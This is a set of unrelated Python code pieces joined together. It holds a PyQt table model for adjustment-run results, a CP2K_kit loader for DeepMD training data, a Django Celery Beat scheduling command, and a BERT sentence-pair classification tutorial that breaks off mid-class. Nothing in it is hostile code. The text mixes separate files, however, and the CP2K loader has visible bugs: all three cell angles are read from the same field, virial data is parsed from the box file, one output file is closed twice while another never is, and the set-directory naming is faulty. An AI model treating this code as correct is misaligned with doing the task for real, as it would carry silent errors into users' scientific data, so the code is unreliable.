        else:
            try:
                results_obs_df = self._lsm_runs[lsm_run_index].get_results_obs_df
            except KeyError:
                QMessageBox.critical(self.parent(), 'Error!', f'LSM run with index "{lsm_run_index}" not found!')
            else:
                if results_obs_df is None:  # E.g. no results in campaign yet
                    flag_error_init = True
                else:
                    self._lsm_run_index = lsm_run_index

                    # Get list of columns to be depicted via the table model:
                    # - Keep order of itemms in `self._SHOW_COLUMNS_IN_TABLE`
                    results_obs_df_columns_set = frozenset(results_obs_df.columns)
                    table_model_columns = [x for x in self.get_table_columns if x in results_obs_df_columns_set]

                    # Apply filter:
                    if ((station_name is not None) or (survey_name is not None)) and (results_obs_df is not None):
                        tmp_filter = pd.Series([True] * len(results_obs_df))  # Init boolean filter series
                        column_names = results_obs_df.columns

                        if station_name is not None:  # Filer data for station names
                            flag_is_diff_obs = ('station_name_from' in column_names) and ('station_name_to' in column_names)

                            # Differential observations => Check columns 'station_name_from' and 'station_name_to'
                            if flag_is_diff_obs:
                                tmp_filter = tmp_filter & ((results_obs_df['station_name_from'] == station_name) |
                                                           (results_obs_df['station_name_to'] == station_name))
                            else:  # No differential observations => Check column 'station_name'
                                tmp_filter = tmp_filter & (results_obs_df['station_name'] == station_name)

                        if survey_name is not None:  # Filer data for survey name
                            tmp_filter = tmp_filter & (results_obs_df['survey_name'] == survey_name)
                        try:
                            self._data = results_obs_df.loc[tmp_filter, table_model_columns].copy(deep=True)
                        except:  # Just in case any problem occurs...
                            self._data = results_obs_df.loc[tmp_filter, :].copy(deep=True)  # Show all columns
                    else:  # No filter
                        try:
                            self._data = results_obs_df.loc[:, table_model_columns].copy(deep=True)
                        except:  # Just in case any problem occurs...
                            self._data = results_obs_df.copy(deep=True)
                    self._data_column_names = self._data.columns.to_list()  # Show all columns
        if flag_error_init:
            self._data = None
            self._lsm_run_index = None
            self._data_column_names = None

    def rowCount(self, parent=None):
        if self._data is not None:
            return self._data.shape[0]
        else:
            return 0

    def columnCount(self, parent=None):
        if self._data is not None:
            return self._data.shape[1]
        else:
            return 0

    def data(self, index, role=Qt.DisplayRole):
        if index.isValid():
            if role == Qt.DisplayRole:
                value = self._data.iloc[index.row(), index.column()]
                column_name = self._data_column_names[index.column()]
                # Custom formatter (string is expected as return type):
                if value is None:  #
                    return NONE_REPRESENTATION_IN_TABLE_VIEW
                elif isinstance(value, float):
                    if value != value:  # True, if value is "NaN"
                        return NONE_REPRESENTATION_IN_TABLE_VIEW
                    else:
                        if column_name in self._DECIMAL_PLACES_PER_FLOAT_COLUMN.keys():
                            num_dec_places = self._DECIMAL_PLACES_PER_FLOAT_COLUMN[column_name]
                            return '{1:.{0}f}'.format(num_dec_places, value)
                        else:
                            return str(value)
                elif isinstance(value, dt.datetime):
                    return value.strftime("%Y-%m-%d, %H:%M:%S")
                else:  # all other
                    return str(value)

            if role == Qt.TextAlignmentRole:
                value = self._data.iloc[index.row(), index.column()]
                if isinstance(value, int) or isinstance(value, float):
                    # Align right, vertical middle.
                    return Qt.AlignVCenter + Qt.AlignRight

            if role == Qt.BackgroundRole:
                if 'tau_test_result' in self._data_column_names:
                    if index.column() == self._data_column_names.index('tau_test_result'):
                        value = self._data.iloc[index.row(), index.column()]
                        if value == 'passed':
                            return QtGui.QColor('green')
                        elif value == 'failed':
                            return QtGui.QColor('red')
        return None

    def headerData(self, section, orientation, role):
        # section is the index of the column/row.
        if role == Qt.DisplayRole:
            if orientation == Qt.Horizontal:
                return self._SHOW_COLUMNS_IN_TABLE_DICT[str(self._data.columns[section])]
            if orientation == Qt.Vertical:
                return str(self._data.index[section])

    def get_plotable_columns(self) -> dict:
        """Returns a dict with names and description of the plotable numerical columns.

        Notes
        -----
        If the model data is empty return an empty dict.
        """
        plotable_columns_dict = {}
        if self._data_column_names is not None:  # Data model is not empty
            for key, item in self._PLOTABLE_DATA_COLUMNS.items():
                # Check if key is a column-name in the current data
                if key in self._data_column_names:
                    plotable_columns_dict[key] = item
        return plotable_columns_dict

    @property
    def get_model_data_df(self):
        """Returns the model data dataframe."""
        return self._data

    @property
    def get_model_data_df_for_plotting(self):
        """Return all plotable rows on the model data dataframe.

        Notes
        -----
        Data is plotable, if the data can be referred station(s) and to a specific reference epoch! E.g. pseudo
        observations introduced for datum constraints are not plotable!
        """
        filter_tmp = self._data['is_constraint'] == False
        # Add further options to thze filter series, is needed!
        return self._data.loc[filter_tmp, :]

    @property
    def get_table_columns(self):
        """Returns a list with all columns names of the dataframe that should be copied to the view model."""
        if self.flag_gui_simple_mode:
            return [value for value in self._SHOW_COLUMNS_IN_TABLE if value in self._SHOW_COLUMNS_IN_TABLE_SIMPLE_GUI]
        else:
            return self._SHOW_COLUMNS_IN_TABLE

    def get_short_column_description(self, column_name: str) -> str:
        """Returns the short description of the model column."""
        try:
            return self._SHOW_COLUMNS_IN_TABLE_DICT[column_name]
        except AttributeError:
            return ''


#! /usr/env/bin python

import os
import copy
import math
import linecache
import numpy as np
from CP2K_kit.tools import call
from CP2K_kit.tools import numeric
from CP2K_kit.tools import data_op
from CP2K_kit.tools import traj_info
from CP2K_kit.tools import log_info
from CP2K_kit.tools import get_cell
from CP2K_kit.tools import file_tools

hartree_to_ev = 2.72113838565563E+01
ang_to_bohr = 1.0/5.29177208590000E-01

def load_data_from_sepfile(file_dir, save_dir, file_prefix, proj_name, tot_atoms_type_dic, choosed_index, out_file_name='cp2k.out'):

  '''
  load_data_from_sepfile: load training data from separate files.

  Args:
    file_dir: string
      file_dir is the directory of initial training data.
    save_dir: string
      save_dir is the directory where data will be saved.
    file_prefix: string
      file_prefix is the prefix of file name.
    proj_name: string
      proj_name is the cp2k project name.
    tot_atoms_type_dic: dictionary
      tot_atoms_type_dic is the atoms type dictionary.
    choosed_index: 1-d int list
      choosed_index is the list of choosed frames.
    out_file_name: string
      out_file_name is the name of cp2k output file.
  Returns:
    none
  '''

  type_file = open(''.join((save_dir, '/type.raw')), 'w')
  box_file = open(''.join((save_dir, '/box.raw')), 'w')
  frc_file = open(''.join((save_dir, '/force.raw')), 'w')
  coord_file = open(''.join((save_dir, '/coord.raw')), 'w')
  energy_file = open(''.join((save_dir, '/energy.raw')), 'w')
  virial_file = open(''.join((save_dir, '/virial.raw')), 'w')

  atoms = []

  coord_file_0 = ''.join((file_dir, '/', file_prefix, str(0), '/coord'))
  atoms_num = len(open(coord_file_0).readlines())

  #Dump atoms type information
  for i in range(atoms_num):
    line_i = linecache.getline(coord_file_0, i+1)
    line_i_split = data_op.split_str(line_i, ' ')
    atoms.append(line_i_split[0])

  linecache.clearcache()

  for i in range(atoms_num):
    atom_type_index = tot_atoms_type_dic[atoms[i]]
    type_file.write(''.join((str(atom_type_index), '\n')))

  type_file.close()

  for i in sorted(choosed_index):

    task_dir_i = ''.join((file_dir, '/', file_prefix, str(i)))
    box_file_i = ''.join((task_dir_i, '/box'))
    coord_file_i = ''.join((task_dir_i, '/coord'))
    out_file_i = ''.join((task_dir_i, '/', out_file_name))
    frc_file_i = ''.join((task_dir_i, '/', proj_name, '-1_0.xyz'))
    stress_file_i = ''.join((task_dir_i, '/', proj_name, '-1_0.stress_tensor'))

    box_exist = os.path.exists(box_file_i)
    coord_exist = os.path.exists(coord_file_i)
    out_exist = os.path.exists(out_file_i)
    frc_exist = os.path.exists(frc_file_i)

    #Dump box information
    if ( box_exist and coord_exist and out_exist and frc_exist ):
      grep_scf = 'grep %s %s' %("'SCF run NOT converged'", out_file_i)
      grep_scf_info = call.call_returns_shell(save_dir, grep_scf)
      if ( len(grep_scf_info) == 0 ):
        vec = []
        for j in range(3):
          line_ij = linecache.getline(box_file_i, j+1)
          line_ij_split = data_op.split_str(line_ij, ' ', '\n')
          #vol will be used in stress calculation.
          vec.append([float(line_ij_split[1]), \
                      float(line_ij_split[2]), \
                      float(line_ij_split[3])])
          if ( j== 0 ):
            frame_str = ' '.join((line_ij_split[1], line_ij_split[2], line_ij_split[3]))
          else:
            frame_str = ' '.join((frame_str, line_ij_split[1], line_ij_split[2], line_ij_split[3]))

        linecache.clearcache()

        vol = np.linalg.det(np.array(vec))
        frame_str = ''.join((frame_str, '\n'))
        box_file.write(frame_str)

        #Dump energy information
        cmd = "grep %s %s" % ("'ENERGY| Total FORCE_EVAL'", out_file_name)
        energy_parse = call.call_returns_shell(task_dir_i, cmd)
        energy = float(energy_parse[0].split(':')[1].strip('\n'))
        energy_ev = energy*hartree_to_ev
        energy_file.write(''.join((str(energy_ev), '\n')))

        #Dump coord information
        for j in range(atoms_num):
          line_ij = linecache.getline(coord_file_i, j+1)
          line_ij_split = data_op.split_str(line_ij, ' ', '\n')
          if (j==0):
            frame_str = ' '.join((line_ij_split[1], line_ij_split[2], line_ij_split[3]))
          else:
            frame_str = ' '.join((frame_str, line_ij_split[1], line_ij_split[2], line_ij_split[3]))

        linecache.clearcache()

        frame_str = ''.join((frame_str, '\n'))
        coord_file.write(frame_str)

        #Dump force information
        for j in range(atoms_num):
          line_ij = linecache.getline(frc_file_i, j+4+1)
          line_ij_split = data_op.split_str(line_ij, ' ', '\n')
          f1 = float(line_ij_split[3])*hartree_to_ev*ang_to_bohr
          f2 = float(line_ij_split[4])*hartree_to_ev*ang_to_bohr
          f3 = float(line_ij_split[5])*hartree_to_ev*ang_to_bohr
          if (j==0):
            frame_str = ' '.join((str(f1), str(f2), str(f3)))
          else:
            frame_str = ' '.join((frame_str, str(f1), str(f2), str(f3)))

        linecache.clearcache()

        frame_str = ''.join((frame_str, '\n'))
        frc_file.write(frame_str)

        #Dump virial information
        #stress in 'xx-1.stress_tensor' is GPa.
        if os.path.exists(stress_file_i):
          for j in range(3):
            line_ij = linecache.getline(stress_file_i, j+4)
            line_ij_split = data_op.split_str(line_ij, ' ', '\n')
            stress_1 = float(line_ij_split[2])*vol/160.21766208
            stress_2 = float(line_ij_split[3])*vol/160.21766208
            stress_3 = float(line_ij_split[4])*vol/160.21766208
            stress_str_1 = numeric.get_as_num_string(stress_1)
            stress_str_2 = numeric.get_as_num_string(stress_2)
            stress_str_3 = numeric.get_as_num_string(stress_3)
            if ( j==0 ):
              frame_str = ' '.join((stress_str_1, stress_str_2, stress_str_3))
            else:
              frame_str = ' '.join((frame_str, stress_str_1, stress_str_2, stress_str_3))

          linecache.clearcache()

          frame_str = ''.join((frame_str, '\n'))
          virial_file.write(frame_str)
    else:
      log_info.log_error('The output file or force file may not exist in task %d in %s' %(i, file_dir))
      exit()
  box_file.close()
  frc_file.close()
  coord_file.close()
  energy_file.close()
  virial_file.close()

  if ( os.path.getsize(''.join((save_dir, '/virial.raw'))) == 0 ):
    cmd = "rm %s" % (''.join((save_dir, '/virial.raw')))
    call.call_simple_shell(save_dir, cmd)

def load_data_from_dir(traj_coord_file_name, traj_frc_file_name, traj_cell_file_name, traj_stress_file_name, \
                       train_stress, work_dir, save_dir, start, end, choosed_num, tot_atoms_type_dic):

  '''
  load_data_from_dir: load initial training data from cp2k calculation directory.

  Args:
    traj_coord_file_name: string
      traj_coord_file_name is the name of coordination trajectory file.
    traj_frc_file_name: string
      traj_frc_file_name is the name of force trajectory file.
    traj_cell_file_name: string
      traj_cell_file_name is the name of cell trajectory file.
    traj_stress_file_name: string
      traj_stress_file_name is the name of stress trajectory file.
    train_stress: bool
      train_stress is whether we need to train stress
    work_dir: string
      work_dir is workding directory.
    save_dir: string
      save_dir is the directory where data will be saved.
    start: int
      start is the starting id of trajectory.
    end: int
      end is the endding id of trajectory.
    choosed_num: int
      choosed_num is the number of choosed frames.
    tot_atoms_type_dic: dictionary
      tot_atoms_type_dic is the atoms type dictionary.
  Returns:
    none
  '''

  line_num = file_tools.grep_line_num("'PDB file'", traj_coord_file_name, work_dir)
  if ( line_num == 0 ):
    coord_file_type = 'coord_xyz'
  else:
    coord_file_type = 'coord_pdb'

  atoms_num, pre_base_block, end_base_block, pre_base, frames_num, each, start_id, end_id, time_step = \
  traj_info.get_traj_info(traj_coord_file_name, coord_file_type)

  if ( start < start_id ):
    log_info.log_error('Input error: start is less than the starting frame id in trajectory, please check or reset deepff/deepmd/training/system/start')
    exit()

  if ( end > end_id ):
    log_info.log_error('Input error: end is larger than the endding frame id in trajectory, please check or reset deepff/deepmd/training/system/end')
    exit()

  if ( start >= end ):
    log_info.log_error('Input error: start_frame is larger than end_frame, please check!')
    exit()
  else:
    total_index = data_op.gen_list(start, end, each)
    max_choosed_num = int((end-start)/each)+1
    if ( choosed_num > max_choosed_num ):
      log_info.log_error('Input error: choosed_frame_num is larger than the number of frames in trajectory, please check!')
      exit()
    else:
      total_index_array = np.array(total_index)
      np.random.shuffle(total_index_array)
      choosed_index = list(total_index_array[0:choosed_num])
      choosed_index = sorted(choosed_index)

  #Dump box information
  box_file = open(''.join((save_dir, '/box.raw')),'w')
  #vol is volume, it will be used in virial. The unit of vol is A^3.
  vol = []
  if ( coord_file_type == 'coord_xyz' ):
    for i in range(len(choosed_index)):
      line_i = linecache.getline(traj_cell_file_name, int((choosed_index[i]-start_id)/each)+2)
      line_i_split = data_op.split_str(line_i, ' ', '\n')
      vol.append(float(line_i_split[len(line_i_split)-1]))
      for j in range(9):
        if ( j == 0 ):
          frame_str = ''.join((line_i_split[j+2]))
        else:
          frame_str = ' '.join((frame_str, line_i_split[j+2]))
      frame_str = ''.join((frame_str, '\n'))
      box_file.write(frame_str)
    linecache.clearcache()
  else:
    for i in range(len(choosed_index)):
      line_i_num = int((choosed_index[i]-start_id)/each)*(pre_base_block+atoms_num+end_base_block)+pre_base+2
      line_i = linecache.getline(traj_coord_file_name, line_i_num)
      line_i_split = data_op.split_str(line_i, ' ', '\n')
      a = float(line_i_split[1])
      b = float(line_i_split[2])
      c = float(line_i_split[3])
      alpha = float(line_i_split[4])/180.0*np.pi
      beta = float(line_i_split[4])/180.0*np.pi
      gamma = float(line_i_split[4])/180.0*np.pi
      cell_a, cell_b, cell_c = get_cell.get_triclinic_cell(a, b, c, alpha, beta, gamma)
      vol.append(np.linalg.det(np.array([cell_a, cell_b, cell_c])))
      frame_str = ''
      for cell in [cell_a, cell_b, cell_c]:
        for i in cell:
          frame_str = ' '.join((frame_str, str(i)))
      frame_str = frame_str.strip(' ')
      frame_str = ''.join((frame_str, '\n'))
      box_file.write(frame_str)
    linecache.clearcache()

  box_file.close()

  #Dump element information
  type_file = open(''.join((save_dir, '/type.raw')), 'w')
  atoms = []
  for i in range(atoms_num):
    line_i = linecache.getline(traj_coord_file_name, pre_base_block+pre_base+i+1)
    line_i_split = data_op.split_str(line_i, ' ', '\n')
    if ( coord_file_type == 'coord_xyz' ):
      atoms.append(line_i_split[0])
    elif ( coord_file_type == 'coord_pdb' ):
      atoms.append(line_i_split[len(line_i_split)-1])

  linecache.clearcache()

  for i in range(atoms_num):
    atom_type_index = tot_atoms_type_dic[atoms[i]]
    type_file.write(''.join((str(atom_type_index), '\n')))

  #Dump coordination information
  coord_file = open(''.join((save_dir, '/coord.raw')), 'w')
  for i in range(len(choosed_index)):
    frame_str = ''
    for j in range(atoms_num):
      line_ij_num = int((choosed_index[i]-start_id)/each)*(pre_base_block+atoms_num+end_base_block)+pre_base+pre_base_block+j+1
      line_ij = linecache.getline(traj_coord_file_name, line_ij_num)
      line_ij_split = data_op.split_str(line_ij, ' ', '\n')
      if ( coord_file_type == 'coord_xyz' ):
        if (j==0):
          frame_str = ' '.join((line_ij_split[1], line_ij_split[2], line_ij_split[3]))
        else:
          frame_str = ' '.join((frame_str, line_ij_split[1], line_ij_split[2], line_ij_split[3]))
      if ( coord_file_type == 'coord_pdb' ):
        if (j==0):
          frame_str = ' '.join((line_ij_split[3], line_ij_split[4], line_ij_split[5]))
        else:
          frame_str = ' '.join((frame_str, line_ij_split[3], line_ij_split[4], line_ij_split[5]))

    frame_str = ''.join((frame_str, '\n'))
    coord_file.write(frame_str)

  linecache.clearcache()
  coord_file.close()

  atoms_num, pre_base_block, end_base_block, pre_base, frames_num, each, start_id, end_id, time_step = \
  traj_info.get_traj_info(traj_frc_file_name, 'frc')

  #Dump energy information
  energy_file = open(''.join((save_dir, '/energy.raw')), 'w')
  for i in range(len(choosed_index)):
    line_i_num = int((choosed_index[i]-start_id)/each)*(pre_base_block+atoms_num+end_base_block)+2
    line_i = linecache.getline(traj_frc_file_name, line_i_num)
    line_i_split = data_op.split_str(line_i, ' ', '\n')
    energy = float(line_i_split[len(line_i_split)-1])*hartree_to_ev
    energy_file.write(''.join((str(energy),'\n')))

  linecache.clearcache()

  #Dump force information
  frc_file = open(''.join((save_dir, '/force.raw')), 'w')
  for i in range(len(choosed_index)):
    frame_str = ''
    for j in range(atoms_num):
      line_ij = linecache.getline(traj_frc_file_name, int((choosed_index[i]-start_id)/each)*(atoms_num+2)+2+j+1)
      line_ij_split = data_op.split_str(line_ij, ' ', '\n')
      f1 = float(line_ij_split[1])*hartree_to_ev*ang_to_bohr
      f2 = float(line_ij_split[2])*hartree_to_ev*ang_to_bohr
      f3 = float(line_ij_split[3])*hartree_to_ev*ang_to_bohr
      if ( j == 0 ):
        frame_str = ' '.join((str(f1), str(f2), str(f3)))
      else:
        frame_str = ' '.join((frame_str, str(f1), str(f2), str(f3)))

    frame_str = ''.join((frame_str, '\n'))
    frc_file.write(frame_str)

  linecache.clearcache()

  frc_file.close()

  #Dump virial information
  if ( train_stress and traj_stress_file_name != 'none' ):
    virial_file = open(''.join((save_dir, '/virial.raw')), 'w')
    for i in range(len(choosed_index)):
      frame_str = ''
      #There are 9 elements: xx, xy, xz, yx, yy, yz, zx, zy, zz.
      line_i = linecache.getline(traj_stress_file_name, int((choosed_index[i]-start_id)/each)+2)
      line_i_split = data_op.split_str(line_i, ' ', '\n')
      #The unit of stress tensor in 'xx-1.stress' file is bar.
      for j in range(9):
        stress_j = float(line_i_split[j+2])*vol[i]/(1602176.6208)
        stress_j_str = numeric.get_as_num_string(stress_j)
        if ( j == 0 ):
          frame_str = ''.join((stress_j_str))
        else:
          frame_str = ' '.join((frame_str, stress_j_str))
      frame_str = ''.join((frame_str, '\n'))
      virial_file.write(frame_str)

    linecache.clearcache()

    virial_file.close()

  total_index = data_op.gen_list(start_id, end_id, each)
  no_train_data_index = copy.deepcopy(total_index)

  for i in choosed_index:
    no_train_data_index.remove(i)

  train_data_dir = ''.join((save_dir, '/train_data'))
  cmd = "mkdir %s" %('train_data')
  call.call_simple_shell(save_dir, cmd)
  train_pos_file_name = ''.join((train_data_dir, '/train-pos-1.xyz'))
  train_frc_file_name = ''.join((train_data_dir, '/train-frc-1.xyz'))
  train_pos_file = open(train_pos_file_name, 'w')
  train_frc_file = open(train_frc_file_name, 'w')
  for i in choosed_index:
    line_1 = linecache.getline(traj_frc_file_name, int((i-start_id)/each)*(atoms_num+2)+1)
    line_2 = linecache.getline(traj_frc_file_name, int((i-start_id)/each)*(atoms_num+2)+2)
    train_pos_file.write(line_1)
    train_pos_file.write(line_2)
    train_frc_file.write(line_1)
    train_frc_file.write(line_2)
    for j in range(atoms_num):
      line_pos = linecache.getline(traj_coord_file_name, int((i-start_id)/each)*(atoms_num+2)+j+1+2)
      line_frc = linecache.getline(traj_frc_file_name, int((i-start_id)/each)*(atoms_num+2)+j+1+2)
      train_pos_file.write(line_pos)
      train_frc_file.write(line_frc)
  train_pos_file.close()
  train_pos_file.close()

  if ( no_train_data_index != [] ):
    no_train_data_dir = ''.join((save_dir, '/no_train_data'))
    cmd = "mkdir %s" %('no_train_data')
    call.call_simple_shell(save_dir, cmd)
    no_train_pos_file_name = ''.join((no_train_data_dir, '/no_train-pos-1.xyz'))
    no_train_frc_file_name = ''.join((no_train_data_dir, '/no_train-frc-1.xyz'))
    no_train_pos_file = open(no_train_pos_file_name, 'w')
    no_train_frc_file = open(no_train_frc_file_name, 'w')
    for i in no_train_data_index:
      line_1 = linecache.getline(traj_frc_file_name, int((i-start_id)/each)*(atoms_num+2)+1)
      line_2 = linecache.getline(traj_frc_file_name, int((i-start_id)/each)*(atoms_num+2)+2)
      no_train_pos_file.write(line_1)
      no_train_pos_file.write(line_2)
      no_train_frc_file.write(line_1)
      no_train_frc_file.write(line_2)
      for j in range(atoms_num):
        line_pos = linecache.getline(traj_coord_file_name, int((i-start_id)/each)*(atoms_num+2)+j+1+2)
        line_frc = linecache.getline(traj_frc_file_name, int((i-start_id)/each)*(atoms_num+2)+j+1+2)
        no_train_pos_file.write(line_pos)
        no_train_frc_file.write(line_frc)
    no_train_pos_file.close()
    no_train_frc_file.close()

  linecache.clearcache()

def read_raw_data(data_dir):

  '''
  read_raw_data: read raw data from data directory

  Args :
    data_dir: string
      data_dir is the directory of initial train data.
  Returns:
    energy_array: 1-d float array, dim = num of frames
      energy_array is the 1-d array of energies.
    coord_array: 2-d float array, dim = (num of frames)*(3*(num of atoms))
      coord_array is the 2-d array of coordinates
    frc_array: 2-d float array, dim = (num of frames)*(3*(num of atoms))
      frc_array is the 2-d array of forces.
    box_array: 2-d float array, dim = (num of frames)*9
      box_array is the 2-d array of cells.
    virial_array: 2-d float array, dim = (num of frames)*9
      virial_array is the 2-d array of virials
  '''

  #Read raw data
  ene_file = ''.join((data_dir, '/energy.raw'))
  coord_file = ''.join((data_dir, '/coord.raw'))
  frc_file = ''.join((data_dir, '/force.raw'))
  box_file = ''.join((data_dir, '/box.raw'))
  virial_file = ''.join((data_dir, '/virial.raw'))

  ene_raw = open(ene_file, "rb").read()
  coord_raw = open(coord_file, "rb").read()
  frc_raw = open(frc_file, "rb").read()
  box_raw = open(box_file, "rb").read()

  frames_num = len(ene_raw.split())
  if ( frames_num == 0 ):
    log_info.log_error('Dump new cp2k data error: number of new data is zero, check the scf converge of cp2k force calculation!')
    exit()
  else:
    atoms_num = int(len(coord_raw.split())/frames_num/3)

    ene_file_exist = os.path.exists(ene_file)
    coord_file_exist = os.path.exists(coord_file)
    frc_file_exist = os.path.exists(frc_file)
    box_file_exist = os.path.exists(box_file)
    #Organize raw data
    if ( ene_file_exist and coord_file_exist and frc_file_exist and box_file_exist ):
      ene_list = []
      ene_split = ene_raw.split()
      for i in range(len(ene_split)):
        ene_list.append(float(ene_split[i].decode()))
      energy_array = np.array(ene_list)

      coord_list = []
      coord_split = coord_raw.split()
      for i in range(len(coord_split)):
        coord_list.append(float(coord_split[i].decode()))
      coord = np.array(coord_list)
      coord_array = coord.reshape(frames_num, atoms_num*3)

      frc_list = []
      frc_split = frc_raw.split()
      for i in range(len(frc_split)):
        frc_list.append(float(frc_split[i].decode()))
      frc = np.array(frc_list)
      frc_array = frc.reshape(frames_num, atoms_num*3)

      box_list = []
      box_split = box_raw.split()
      for i in range(len(box_split)):
        box_list.append(float(box_split[i].decode()))
      box = np.array(box_list)
      box_array = box.reshape(frames_num, 9)

      #virial is not necessary
      if ( os.path.exists(virial_file) ):
        virial_raw = open(virial_file, "rb").read()
        virial_list = []
        virial_split = box_raw.split()
        for i in range(len(virial_split)):
          virial_list.append(float(virial_split[i].decode()))
        virial = np.array(virial_list)
        virial_array = virial.reshape(frames_num, 9)
      else:
        virial_array = np.array([[]])
    else:
      print ('Need coord.raw, box.raw, force.raw, and energy.raw files, lack of essential file!')
      exit()

    return energy_array, coord_array, frc_array, box_array, virial_array

def raw_data_to_set(parts, shuffle_data, data_dir, energy_array, coord_array, frc_array, box_array, virial_array):

  '''
  raw_data_to_set: divide the raw data into several parts

  Args:
    parts: int
      parts is the number of divided parts.
    shuffle_data: bool
      shuffle_data is whether we need to shuffle data.
    data_dir: string
      data_dir is the directory of raw data.
    energy_array: 1-d float array, dim = num of frames
      energy_array is the 1-d array of energies.
    coord_array: 2-d float array, dim = (num of frames)*(3*(num of atoms))
      coord_array is the 2-d array of coordinates
    frc_array: 2-d float array, dim = (num of frames)*(3*(num of atoms))
      frc_array is the 2-d array of forces.
    box_array: 2-d float array, dim = (num of frames)*9
      box_array is the 2-d array of cells.
    virial_array: 2-d float array, dim = (num of frames)*9
      virial_array is the 2-d array of virials
  Returns :
    train_data_num : int
      train_data_num is the number of training data.
  '''

  frames_num = len(energy_array)
  index = np.array(list(range(frames_num)))
  if shuffle_data:
    np.random.shuffle(index)
  part_num = math.ceil(frames_num/parts)
  index_parts = []
  index_temp = data_op.list_split(list(index), part_num)
  for i in index_temp:
    index_parts.append(i)

  train_data_num = 0

  if ( len(index_parts) == 1 ):
    train_data_num = frames_num

  for i in range(len(index_parts)):
    if ( len(index_parts) > 1 and i != len(index_parts)-1 ):
      train_data_num = train_data_num+len(index_parts[i])
    if ( i > 10 or i == 10 ):
      sub_dir_name = 'set.0'+str(i)
    elif ( i < 10 ):
      sub_dir_name = 'set.00'+str(i)
    elif ( i > 100 ):
      sub_dir_name = 'set.'+str(i)

    sub_dir = ''.join((data_dir, '/', sub_dir_name))
    if ( not os.path.exists(sub_dir) ):
      cmd = "mkdir %s" % (sub_dir_name)
      call.call_simple_shell(data_dir, cmd)

    energy_array_i = energy_array[index_parts[i]].astype(np.float32)
    coord_array_i = coord_array[index_parts[i]].astype(np.float32)
    frc_array_i = frc_array[index_parts[i]].astype(np.float32)
    box_array_i = box_array[index_parts[i]].astype(np.float32)

    np.save(''.join((data_dir, '/', sub_dir_name, '/energy.npy')), energy_array_i)
    np.save(''.join((data_dir, '/', sub_dir_name, '/coord.npy')), coord_array_i)
    np.save(''.join((data_dir, '/', sub_dir_name, '/force.npy')), frc_array_i)
    np.save(''.join((data_dir, '/', sub_dir_name, '/box.npy')), box_array_i)

    #virial is not necessary
    if ( virial_array.shape != (1,0) ):
      virial_array_i = virial_array[index_parts[i]].astype(np.float32)
      np.save(''.join((data_dir, '/', sub_dir_name, '/virial.npy')), virial_array_i)

  test_data_num = len(index_parts[len(index_parts)-1])

  return train_data_num, test_data_num

if __name__ == '__main__':
  from CP2K_kit.deepff import load_data

  #Test load_data_from_sepfile function
#  file_dir = '/home/lujunbo/code/github/CP2K_kit/deepff/work_dir/iter_1/03.cp2k_calc/cp2k_task_1'
#  file_prefix = 'task_'
#  proj_name = 'cp2k'
#  load_data.load_data_from_sepfile(file_dir, file_prefix, proj_name)
#  load_data.raw_to_set(file_dir + '/data', 1)
  #Test load_data_from_dir and raw_to_set functions
  work_dir = '/home/lujunbo/code/github/CP2K_kit/deepff/work_dir'
  save_dir_name = 'init_train_data'
  save_dir = ''.join((work_dir, '/', save_dir_name))
  save_dir = '/home/lujunbo/WORK/Deepmd/CP2K_kit/co2_metad/iter_1/03.cp2k_calc/sys_0/data'
#  load_data.load_data_from_dir('/home/lujunbo/WORK/Deepmd/deepmd-kit/64_H2O', work_dir, save_dir, 'WATER')
  load_data.raw_to_set(save_dir, 1)


from datetime import timedelta
from django_celery_beat.models import ClockedSchedule, IntervalSchedule
from django_celery_beat.models import PeriodicTask, HOURS
from django.core.management.base import BaseCommand
from django.utils import timezone

class Command(BaseCommand):
    help = 'Создание стартового расписания задач'

    def handle(self, *args, **options):
        # create clocked schedule for 'get_cities' task
        t_delta = timedelta(seconds=10)
        the_time = timezone.now() + t_delta
        get_cities_clocked = ClockedSchedule.objects.create(clocked_time=the_time)
        get_cities, created = PeriodicTask.objects.get_or_create(
            name='get_cities',
            task='weather.tasks.get_cities',
            clocked=get_cities_clocked,
            one_off=True,
        )
        # create clocked schedule for start 'get_weather'
        t_delta = timedelta(seconds=30)
        the_time = timezone.now() + t_delta
        get_weather_clocked = ClockedSchedule.objects.create(clocked_time=the_time)
        get_cities, created = PeriodicTask.objects.get_or_create(
            name='get_weather_clocked',
            task='weather.tasks.get_weather',
            clocked=get_weather_clocked,
            one_off=True,
        )
        # create interval schedule for 'get_weather' task
        the_interval = IntervalSchedule.objects.create(every=1, period=HOURS)
        get_weather, created = PeriodicTask.objects.get_or_create(
            name='get_weather_interval',
            task='weather.tasks.get_weather',
            interval=the_interval,
            start_time=the_time,
        )
        return


from torch.utils.data import Dataset
import json

class AFQMC(Dataset):
    def __init__(self, data_file):
        self.data = self.load_data(data_file)

    def load_data(self, data_file):
        Data = {}
        with open(data_file, 'rt') as f:
            for idx, line in enumerate(f):
                sample = json.loads(line.strip())
                Data[idx] = sample
        return Data

    def __len__(self):
        return len(self.data)

    def __getitem__(self, idx):
        return self.data[idx]

train_data = AFQMC('/root/chenbo/data/afqmc_public/train.json')
valid_data = AFQMC('/root/chenbo/data/afqmc_public/dev.json')

print(train_data[0])

'''
{'sentence1': '蚂蚁借呗等额还款可以换成先息后本吗', 'sentence2': '借呗有先息到期还本吗', 'label': '0'}
'''

#2-batch data
import torch
from torch.utils.data import DataLoader
from transformers import AutoTokenizer

checkpoint = "bert-base-chinese"
tokenizer = AutoTokenizer.from_pretrained(checkpoint)

def collote_fn(batch_samples):
    batch_sentence_1, batch_sentence_2 = [], []
    batch_label = []
    for sample in batch_samples:
        batch_sentence_1.append(sample['sentence1'])
        batch_sentence_2.append(sample['sentence2'])
        batch_label.append(int(sample['label']))
    X = tokenizer(
        batch_sentence_1,
        batch_sentence_2,
        padding=True,
        truncation=True,
        return_tensors="pt"
    )
    y = torch.tensor(batch_label)
    return X, y

train_dataloader = DataLoader(train_data, batch_size=4, shuffle=True, collate_fn=collote_fn)
valid_dataloader = DataLoader(valid_data, batch_size=4, shuffle=True, collate_fn=collote_fn)

batch_X, batch_y = next(iter(train_dataloader))
print('batch_X shape:', {k: v.shape for k, v in batch_X.items()})
print('batch_y shape:', batch_y.shape)
print(batch_X)
print(batch_y)

#2-构建模型
from torch import nn
from transformers import AutoConfig
from transformers import BertPreTrainedModel, BertModel

device = 'cuda' if torch.cuda.is_available() else 'cpu'
print(f'Using {device} device')

class BertForPairwiseCLS(BertPreTrainedModel):
    def __init__(self, config):
        super().__init__(config)
        self.bert = BertModel(config, add_pooling_layer=False)
        self.dropout = nn.Dropout(config.hidden_dropout_prob)
        self.classifier = nn.Linear(768, 2)
        self.post_init()

